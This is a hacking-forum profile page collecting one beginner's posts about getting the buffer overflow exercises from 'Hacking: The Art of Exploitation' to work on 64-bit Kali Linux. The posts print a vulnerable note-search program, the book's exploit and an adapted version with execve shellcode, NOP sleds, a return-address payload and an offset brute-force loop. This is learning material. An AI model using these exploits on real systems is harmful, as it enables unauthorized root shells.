Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - yasgur99

Pages: [1]
1
Hm. I'm lost here, and I currently don't have time to try it myself. So I will enumerate some options you have:
1. investigate the source code of that particular version of strcpy(), and, if necessary, step through it in your debugger to find out what happens.
2. there is also a possible workaround: if there are nop's before the function you try to jump to, you might be able to decrease the address and jump before the function, alhough this would require fairly much space before the function in question, as we aren't talking of the LSB here, but a byte with higher significance.

So, Option 1 is your best bet. If you can't figure it out, I'll look into it myself tomorrow.

I will definetly try and see what I can figure out. Thanks for the tips. I'm new to hacking so this should be a good challange.

One thing i did notice is that when i have the 09 in there, gdb sees the argc as 3 (even though it should be two). When it isn't 09 it sees the argc as two (which it should be.)  Taking that into consideration, my plan was to make that byte something that didn't trick the compiler into thinking there were three arguments.

I also tried running the program on a different computer and in this case 0a is in the same position and is causing the same issue (and causes gdb to see the argc as 3) ( this is becaus 0a is a line feed)

In order to make that byte non-detrimental, i went into the source code and moved the bar function to the bottom to see if i could get a much different memory address when i re-comiled. I did and it worked. I am now able to copy that memory address right where I want it.

but now i have a new issue:
So because I am on a 64 bit machine, memory address are double as long. that means that the actual memory address that needs to be in buffer is 0x0000000000400988. That means that I need to have 0x00000000 follow in memory. The issue is that I don't know how to add that because there was already a null byte in the previous memory address 0x00400988. Also, they are all null bytes. The next address in memory that needs to be the 0x00000000 is 0x00007fff.

 How can I make 0x00007fff 0x00000000 is my new issue

2
This is indeed very interesting. What I initially thought of is that your address contains null-bytes that make strcpy() break from the loop, but this doesn't seem the case. your program's source might be useful here, as it maybe contains some other details that interfere with this?

Also:Those two are the same two addresses.

So, please post the source, look for typos in your adresses and maybe I will find sth and explain the issue to you (or you'll find it yourself :)).

My bad with those two addresses, I editd the orginal to say what I meant to say which is:
Code: [Select]
I am able to make the address 0x00400788 but it cant be 0x00400988.
The source code is: (This program is from the book Hacking: The Art of Exploitation and I added in the bar function from the link in my original post)

Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //An Error Checked Malloc

#define FILENAME "/var/notes"

void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);

void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}

int main(int argc, char *argv[]) {
int fd, userid, printing = 1;
char searchstring[5];

if (argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;

userid = getuid();

fd = open(FILENAME, O_RDONLY);
if(fd == -1) {
fatal("in main opening file");
}

while(printing)
printing = print_notes(fd, userid, searchstring);

printf("-------[ end of note data ]-------\n");
close(fd);
}


// A function to print the notes for a given uid that match an optional searchstring
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){

int note_length;
char byte = 0;
char note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) //If end of file reached
return 0;       // Return 0;

read(fd, note_buffer, note_length); // Read More Data
note_buffer[note_length] = 0;     // Terminate the String

if(search_note(note_buffer, searchstring)) //If searchstring found
printf(note_buffer); //Print the note
else

return 1;
}


// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {

int note_uid = -1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // Loop unitl a note for user_uid is found

if(read(fd, &note_uid, 4) != 4) // Read the uid data
return -1; // If 4 bytes arent read, return end of file code

if(read(fd, &byte, 1) != 1) //Read the newline separtor
return -1;

byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read Single byte
return -1; // If byte isn't read, return end of file code
length++;
}
}

lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes

printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
return length;
}

//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){

int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no searchstring
return 1; //Always match

for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
if(note[i] == keyword[match]) // If byte matches keyword
match++; // Get ready to check next byte
else {
if(note[i] == keyword[match]) // If byte matches keyword
match = 1; // Start the match count at 1
else
match = 0; // Otherwise its zero
}

if(match == keyword_length) // If there is a full match
return 1; // return match
}
return 0; // return not matched

}


3
Hacking and Security / GDB not copying desired string (For buffer overflow)
« on: February 24, 2016, 11:55:48 pm »
Ok so I am trying to learn about buffer overflows and there is this simple program that is vulnerable of a BoF because it copies the first argument into a buffer of 5 characters. In the source code, there is a function called bar that never gets called by the program. My goal was to overflow the buffer and run that function.

So I loaded it up into gdb and I typed disass bar. the first few lines look like this:
Code: [Select]
(gdb) disas bar
Dump of assembler code for function bar:
   0x0000000000400988 <+0>: push   %rbp

So basically, all I have to do is put the address 0x00400988 into the end of the overflowed buffer. I calculated the return address to be 36 bytes past when I overflow the variable.

So in GDB i used the command set args $(perl -e 'print "A" x 36 . "\x88\x09\x40\x00"')

I set a breakpoint right after the strcpy was run and examined what 20 words of rsp looked like:
Code: [Select]
(gdb) x/40xw $rsp
0x7fffffffe240: 0xffffe358 0x00007fff 0x00000000 0x00000003
0x7fffffffe250: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe260: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe270: 0x41414141 0x00000088 0xf7a54b45 0x00007fff
0x7fffffffe280: 0x00000000 0x00000000 0xffffe358 0x00007fff

My issue is that the return address is not copying correctly. As you can see, it only copies the hex value 88 (and i guess the 00 in the beginning of the buffer.

This is what I have tried so far:

I have tried to recompile and check if it was an issue with the address being returned to.

I have tried to change the hex values of the address to random values and that seems to copy. For example, I tried to copy in the values 0x85af4709 into that location and it worked. In fact, I found out that the 09 in the original address is what is causing the issue. For example, I am able to make the address 0x00400788 but it cant be 0x00400988. (Another example is that I can't copy in the values 0xaaaa09aa because the 09 is in it)

That being said, I found out that 09 in ascii is a tab, which can be written as \t. Even if I did that, i got the original issue.

After that, I tried adjusting the amount of "A"s I would copy into the buffer to see if that did anyhting. it didnt.

I even tried to write the string out when typing run in gdb

Then, I googled this issue and found a really good example of exactly what i was trying to do. I used the sample program on page 32 of this article:
https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture21.pdf

To my suprise, exactly what I was doing in my program worked exactly as I intended it to work in the authors sample program.

As a conclusion,
I was wondering if someone would be able to explain why that one position in the address can contain any hex value except the one I want to copy into it. In addition to that, I wan't to know how I can fix this.


If you would like any additional info id be more than happy to give it to you


4
Hacking and Security / Re: Need Help Writing/Fixing Buffer Overflow Exploit
« on: February 24, 2016, 01:13:25 am »
Have you tried to compile the shellcode alone and ensure that it works? If not consider different payloads to ensure they work. After that once payload inserted step through the application and see if it moves accordingly to your payload with no bad chars etc. Sorry if this is just a repeat of what was already said. Could also mess without different paylaods using msfvenom

yea i tested the shell code seperatley and it works.. I dont think the issue is the shell code

5
EDIT: I realized that since the size of the return address is a long int and the fact that i was only allowing it to copy 4 bytes into the buffer, that i was loosing much of the address. After that changee, which is reflected above and here it doesnt segmentation fault but still isn't running the shellcode:
   
Code: [Select]
    for(i=0; i <160; i+=sizeof(long int)) //Fill buffer with return addres
Does anyone have any recomendation of what I should do next to get this to work?

6
Did you compile the program being attacked with an executable stack and other exploit mitigation technologies turned off? If not, you now know why it keeps segfaulting, which is caused by attempting to execute memory flagged as non-executable (look up N^X). That's the main thing you need to know to understand what the issue is. So, most likely, you are in fact returning to your NOP sled, but since it is on the stack, you cannot execute it on any decently modern linux flavor. You could now try multiple things:
  • compile with exploit mitigations turned off (homework for you)
  • run and compile in an environment that is targeted by the book (more homework)
  • try a wargame especially designed for learning exploitation in a "classical" setting, some include IO and the overthewire wargames.
I have compiled both the exploit and the program that  is being exploited with the -fno-stack-protector -z execstack along with making sure to set /proc/sys/kernel/randomize_va_space

Still, I can't get this thing working. I will continue trying to research more possible exploit mitigations that I would have to turn off.

Also, what to you mean by an environment that is targeted by the book? I dont mind researching that I just dont understand what you are aksing

7
Hacking and Security / Need Help Writing/Fixing Buffer Overflow Exploit
« on: January 23, 2016, 04:09:52 am »
So I am reading this book called "Hacking: The Art of Exploitation, VOL 2". I am up to the part on buffer overflows and I have been trying to get the exploit in it to work for over 4 hours now... I have tried everything so I need your help.

So basically what this exploit is supposed to do is spawn a shell and give root privileges. The book was written for a 32 bit flavor of ubuntu. I am not using that flavor, however, I even tried putting that on virtualbox to get it to work and it did. But my goal is to get it to work on pretty much any other distro/flavor. (especially my distro)

I have been running Kali Linux 2.0 64 bit as my main machine and thats where I'm having the issues. I have even tried installing the 32 bit libraries on that and trying to get it to work but it wont. I also downloaded a virtualbox of the Kali Linux 2.0 32 bit version to see if that would work... It didn't

I also looked at the /proc/sys/kernel/randomize_va_space file on the books flavor and it was on 0 so I changed my computers to the same. I also have experimented with compiling with -fno-stack-protector -z execstack


So heres the exploit in the book:
Code: [Select]
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
   
     char shellcode[]=
        "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
        "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
        "\xe1\xcd\x80";
   
    int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
   
    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.
   

    strcpy(command, "./notesearch \'"); // Start command buffer.
     /*notesearch is the program suceptible to buffer overflow. It asks for a
    command line string to be searched for and that is what is being exploited*/

    buffer = command + strlen(command); // Set buffer at the end.

    if(argc > 1) // Set offset.
    offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   
     strcat(command, "\'");

    system(command); // Run exploit.
    free(command);
    }

Because I am running a 64 bit machine I knew I needed to make a few changes. The first was that the shell code would have to be different because assembely and system calls are different from 32 to 64 bit. I went to http://shell-storm.org/shellcode/files/shellcode-806.php to find some. I tested it out in the test program on that page and it worked.

The second change that I made was that I had to change the variable types/typecasts because on a 64 bit machine, unsigned int pointers are longer than unsigned ints, so i simply changed everything to long ints/ long int pointers because they will always be 8 bytes. Do you recommend I do it this way or is there a better way?

Okay, so now that is out of the way, my program looks like this:
Code: [Select]
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>


    const char shellcode[] =
    "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";



    int main(int argc, char *argv[]) {

    long int i, *ptr, ret, offset = 176;
    char *command, *buffer;

    command = (char *) malloc(200);
    memset(command,0, 200); //Zero out the new memory

    strcpy(command, "./notesearch \'");
     /*notesearch is the program suceptible to buffer overflow. It asks for a
    command line string to be searched for and that is what is being exploited*/   

    buffer = command + strlen(command); // Set buffer at the end

    if(argc > 1) //Set offset
    offset = atoi(argv[1]);

    ret = ((long int) &i) - offset; //Set return address


    for(i=0; i <160; i+=sizeof(long int)) //Fill buffer with return addres
    *((long int *)(buffer + i)) = ret;

    memset(buffer, 0x90, 60); //Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

    strcat(command, "\'");

    system(command); //Run Exploit
    free (command);
    }

If you look, you can see that we have different offsets used. In theory, the offset could be any number that would cause the return address to fall somewhere into the nop sled. That would mean that it could be any 60 consecutive values (because the nop sled is 60 bytes long.) To find those values, the book says to sequence through it with the command line
Code: [Select]
for i in $(seq 0 300); do echo Trying $i; ./exploit_notesearch $i; done
When that command is run on my computer it will segmentation fault for every offset except 176 (which is lucky but it doesn't even matter that much because it doesn't spawn a shell. I guess it just didnt overwrite anything)Thats why I have it set as the default offset in the program (but i can change the default by entering it as the first argument when running the program.

I have been in gdb scouring the program and basically what it looks like is that the ./notesearch is held in the command buffer and then right after that is the buffer variable that hold the nop sled, the shellcode, and the return address(the return address is repeated over and over from the for loop).

Trying to look at the bigger picture, I think what is going on is that note search is being run, and the nop, the shellcode, and the return address is being held in the overflown buffer.
 (Now im just speculating here but if the buffer from the notesearch program is 100 characters long, I dont think that the stuff im writing into it is being completly overflown. My only guess is that the reason this exploit doesn't work is because not all of my code is being used because not all of it is overflown. I could be wrong because I'm still learning but i thought I would point out my thoughts. The only flaw with this ideas is that why would it work on their flavor and not mine because 100 characters is 100 characters on both systems)

So heres what I need help with:
    I have no idea how to get this program to stop segmentation faulting
    I think that in order to do so, I need the program to return somewhere into the NOP sled, but how do I get that working

Side question: why would he allocate 200 bytes on the heap if he wasn't going to use it all (he only ends up using 178) and i dont think this is that important but why did he declare *ptr and never use or reference it?

I would greatly appreciate if you guys could assist me with this. You dont have any idea how hard and long I have been trying to figure this out. Thanks in advance, and if you need any information whatsoever just ask because I really really want to figure this out

EDIT: I realized that since the size of the return address is a long int and the fact that i was only allowing it to copy 4 bytes into the buffer, that i was loosing much of the address. After that changee, which is reflected above and here it doesnt segmentation fault but still isn't running the shellcode:
   
Code: [Select]
    for(i=0; i <160; i+=sizeof(long int)) //Fill buffer with return addres
Does anyone have any recomendation of what I should do next to get this to work?



8
Beginner's Corner / Need help understanding this buffer overflow
« on: December 18, 2015, 02:25:12 am »
I have purchased this book called "Hacking, The Art of Exploitation", and there is a program in it that is a buffer overflow exploit from a program that showed up previously in the book. There are a few issues that I have run into. First of all, if I try to run the program I get a segmentation fault (even though the author ran the same exact commands as I am and he isn't getting any issues) My second issue is that I think that the author did a poor job explaining what exactly going on. I'm confused how this exploit 1) determines the offset value 2) Uses a NOP sled to find the return address (how does this work) 3)  how does the shellcode say what is happening/what does it say/how can i read it.

The code to the program being exploited is:
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //Just an error checked malloc and an error message/exit function

#define FILENAME "/var/notes"

void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);

int main(int argc, char *argv[]) {
int fd, userid, printing = 1;
char searchstring[100];

if (argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;

userid = getuid();

fd = open(FILENAME, O_RDONLY);
if(fd == -1) {
fatal("in main opening file");
}

while(printing)
printing = print_notes(fd, userid, searchstring);

printf("-------[ end of note data ]-------\n");
close(fd);
}

// A function to print the notes for a given uid that match an optional searchstring
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){

int note_length;
char byte = 0;
char note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) //If end of file reached
return 0;       // Return 0;

read(fd, note_buffer, note_length); // Read More Data
note_buffer[note_length] = 0;     // Terminate the String

if(search_note(note_buffer, searchstring)) //If searchstring found
printf(note_buffer); //Print the note
return 1;
}

// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {

int note_uid = -1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // Loop unitl a note for user_uid is found

if(read(fd, &note_uid, 4) != 4) // Read the uid data
return -1; // If 4 bytes arent read, return end of file code

if(read(fd, &byte, 1) != 1) //Read the newline separtor
return -1;

byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read Single byte
return -1; // If byte isn't read, return end of file code
length++;
}
}

lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes

printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
return length;
}

//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){

int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no searchstring
return 1; //Always match

for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
if(note[i] == keyword[match]) // If byte matches keyword
match++; // Get ready to check nexy byte
else {
if(note[i] == keyword[match]) // If byte matches keyword
match = 1; // Start the match count at 1
else
match = 0; // Otherwise its zero
}

if(match == keyword_length) // If there is a full match
return 1; // return match
}
return 0; // return not matched
}

The exploit that is included is:
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); //Zero out the new memory

strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end

if(argc > 1) //Set offset
offset = atoi(argv[1]);

ret = (unsigned int)&i - offset; //Set return address

for(i=0; i <160; i+=4) //Fill buffer with return addres
*((unsigned int *)(buffer + i)) = ret;

memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

strcat(command, "\'");

system(command); //Run Exploit
free (command);
}

Note about that code: I get a warning on the line that assigns the address of i - offset. I'm pretty sure that this is because since I'm using a 64 bit machine, a pointer is 8 bytes while a unsigned int is only 4. To counter this, I typcasted into a long unsigned int. I'm not sure if that is good practice, but correct me when I am wrong.
So what I changed it to is:
Code: [Select]
ret = (unsigned int)&i - offset; //Set return address

I have used gdb to analyze whats going on and I found the segmentation fault to happen during the line
Code: [Select]
system(command); // Run Exploit
I also have used gdb to thoroughly examine the memory at the addresses of all variables throught the program and I have noticed that when the author of the book examines the contents of the command variable (while it has the shellcode in it), his output shows a bunch of wacky characters, but mine shows numbers and slashes. Why is there a difference?

My main point is that I don't know is how to stop this segmentation fault from happening but still getting this exploit to work correctly. If someone would be able to help me out that would be great. If anyone needs more information, I would be happy to provide it.

PS- I am running kali linix 64 bit if (if that might help you determine something)

9
Hacking and Security / Re: Where to Start
« on: January 06, 2015, 11:43:45 pm »
Thanks for all the answers. I decided to learn C first and then go from there

10
Hacking and Security / Where to Start
« on: January 05, 2015, 04:45:14 am »
Okay, so for my first post, I'm sure that I'm going to get hate because I should have search bared this and my answer is all over, but I did that already, and I have some more specific questions. So I am literally brand new to everything, a complete n00b. I know that I need to learn a programing language first, but which one? I will learn whatever best. I have tons of time on my hand. Secondly, I've been coming across that I need to get a Unix. I'm on a Mac, so I was thinking that I either need to partion my hard drive or put it on a usb. Which do you guys recommend? Secondly, why Unix. What does it allow me to do that terminal does not?

Now that you guys have given me some direction on where to begin, I was wondering what the next steps are. I understand that I need to head in a certain direction. I guess I'm looking to just explore and have fun. If you have any recommendations based on how you started, or what you are currently pursuing that would be interesting to hear about. I understand that there are different types/fields of hacking. Where is a good place to start. I guess I'm looking for fun for now, but I'm young, so honestly the direction I could go in could be job potential, or just a hobby, or even just to cause mischief.



I look forward to reading your responses, and again, I hope that I am not sounding like an asshole on my first post.

Pages: [1]